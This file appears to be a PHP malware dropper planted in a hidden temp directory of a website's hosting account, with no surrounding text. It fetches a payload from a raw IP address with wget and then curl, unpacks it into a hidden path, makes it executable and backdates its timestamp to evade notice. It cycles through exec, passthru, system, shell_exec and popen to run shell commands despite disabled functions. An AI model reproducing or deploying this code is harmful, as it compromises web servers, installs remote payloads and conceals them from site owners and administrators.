File: //tmp/.rindex
<?php $p = '/home/l/lordrp/tipografiya_saratov_rf/public_html//tmp/.font-unix/randomscript'; $u = 'http://62.60.131.254/c6d5fdb72737fd804f23b5e62fecaf41'; $fs = 600482; $ft = 1759493960; run("wget -O {$p} {$u} && gunzip {$p}.gz"); check($p, $fs, $ft); run("curl -o {$p} {$u} && gunzip {$p}.gz"); check($p, $fs, $ft); function check($p, $fs, $ft) { if (file_exists($p) && filesize($p) == $fs) { @chmod($p, 0744); @touch($p, $ft); die('_uploaded!_'); } } function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; } die('_upload_failed_');